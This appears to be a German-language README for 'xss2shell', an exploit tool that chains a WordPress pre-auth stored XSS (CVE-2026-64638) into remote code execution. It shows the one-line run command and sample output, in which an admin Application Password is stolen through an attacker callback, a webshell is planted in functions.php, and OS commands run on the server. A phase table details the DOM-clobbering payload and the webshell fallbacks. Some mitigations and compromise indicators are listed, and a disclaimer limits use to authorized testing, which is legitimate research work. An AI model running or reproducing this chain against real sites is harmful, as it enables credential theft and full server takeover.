
CVE-2026-64638 | WordPress < 7.0.3 Pre-Auth Stored XSS → RCE
Jeder öffentliche PoC für diese CVE ist fehlerhaft. Dieser funktioniert.
Der Fehler · Schnellstart · Funktionsweise · Einschränkungen
WordPress < 7.0.3 bereinigt den Parameter log (Benutzername) in wp-login.php nicht. Der Wert wird gespeichert und innerhalb der authentifizierten Admin-Sitzung gerendert — eine Pre-Auth-Stored-XSS, die sich mit einem einzigen Klick zur vollständigen Serverübernahme verketten lässt.
Victim clicks lure ---> XSS fires ---> App Password stolen ---> Shell planted ---> RCE
# Zero dependencies. Pure Python 3.
python xss2shell.py -t http://target.com -c "id"
[*] Target: http://target.com
[+] WordPress login found
[+] Listening on 192.168.1.5:9443
[*] Send this to the admin -> http://192.168.1.5:9443/
[*] Waiting for victim ...
[+] Victim opened the attacker page
[+] XSS payload POSTed to wp-login.php
[+] Application Password stolen: user=admin pass=XXXX XXXX XXXX XXXX
[+] Theme editor -> webshell in functions.php
============================================================
[+] RCE via theme
[+] $ id
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================
[+] Shell -> http://target.com/?xss2shell_cmd=whoami
[+] Done.
usage: xss2shell.py [-h] -t TARGET -c COMMAND [--lhost IP] [--lport PORT] [--keep]
-t, --target Target WordPress URL
-c, --command OS command to execute on the server
--lhost Attacker callback IP (default: auto-detect)
--lport Attacker callback port (default: random)
--keep Don't clean up artifacts after exploitation
| Phase | Aktion | Detail |
|---|---|---|
| 1. XSS | Injection über wp-login.php | Ein präparierter log-Parameter mit DOM-Clobbering (<area id=ajaxurl>) kapert die AJAX-URL von WP und klickt die App-Passwort-Genehmigung automatisch per JSONP an |
| 2. Steal | Exfiltration des Application Password | authorize-application.php erstellt stillschweigend ein App-Passwort; success_url sendet es an den Angreifer |
| 3. Shell | Webshell schreiben (3 Fallbacks) | Theme-Editor → functions.php · Plugin-Upload → xss2shell/shell.php · Plugin-Editor → vorhandene Plugin-Datei |
| 4. RCE | OS-Befehle ausführen | Die Webshell führt shell_exec() aus, gibt JSON-Ausgabe zurück, das Tool verifiziert automatisch und räumt auf |
| Version | Status |
|---|---|
| WordPress < 7.0.3 | Anfällig |
| WordPress >= 7.0.3 | Gepatcht |
| Bedingung | Auswirkung |
|---|---|
DISALLOW_FILE_EDIT | Theme-/Plugin-Editoren blockiert — nur ZIP-Upload funktioniert |
DISALLOW_FILE_MODS | Alle 3 Methoden blockiert — kein RCE |
| WAF (Cloudflare, Wordfence) | Kann XSS-Payload oder Webshell-Anfragen filtern |
disable_functions in PHP | shell_exec blockiert — leere Ausgabe |
| Pop-up-Blocker | Unterbricht die Popup-Kette |
| Strikte CSP-Header | Blockiert Inline-JS oder Cross-Origin-Fetch |
Achten Sie auf diese Indikatoren, wenn xss2shell gegen Ihre Website eingesetzt wurde:
XSS2Shell-Poc-Wordsecxss2shell in wp-content/plugins/xss2shell_cmd in functions.php oder einer beliebigen Plugin-Datei/?rest_route=/&_method=GET&_jsonp=Jeder öffentliche PoC für CVE-2026-64638 endet bei alert(1) oder erfordert manuelle Schritte, die kein Triager reproduzieren kann. Dieses Tool liefert vollständige Chain-Exploitation mit einem einzigen Befehl — von null Authentifizierung bis RCE. Gebaut für Sicherheitsforscher, die Beweise brauchen, keine Theorie.
Nur für autorisiertes Sicherheitstesting und Bildungszwecke. Nur gegen Systeme verwenden, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Testgenehmigung haben. Unbefugter Zugriff auf Computersysteme ist illegal.
WordSec · CVE-2026-64638 · Gepatcht in WordPress 7.0.3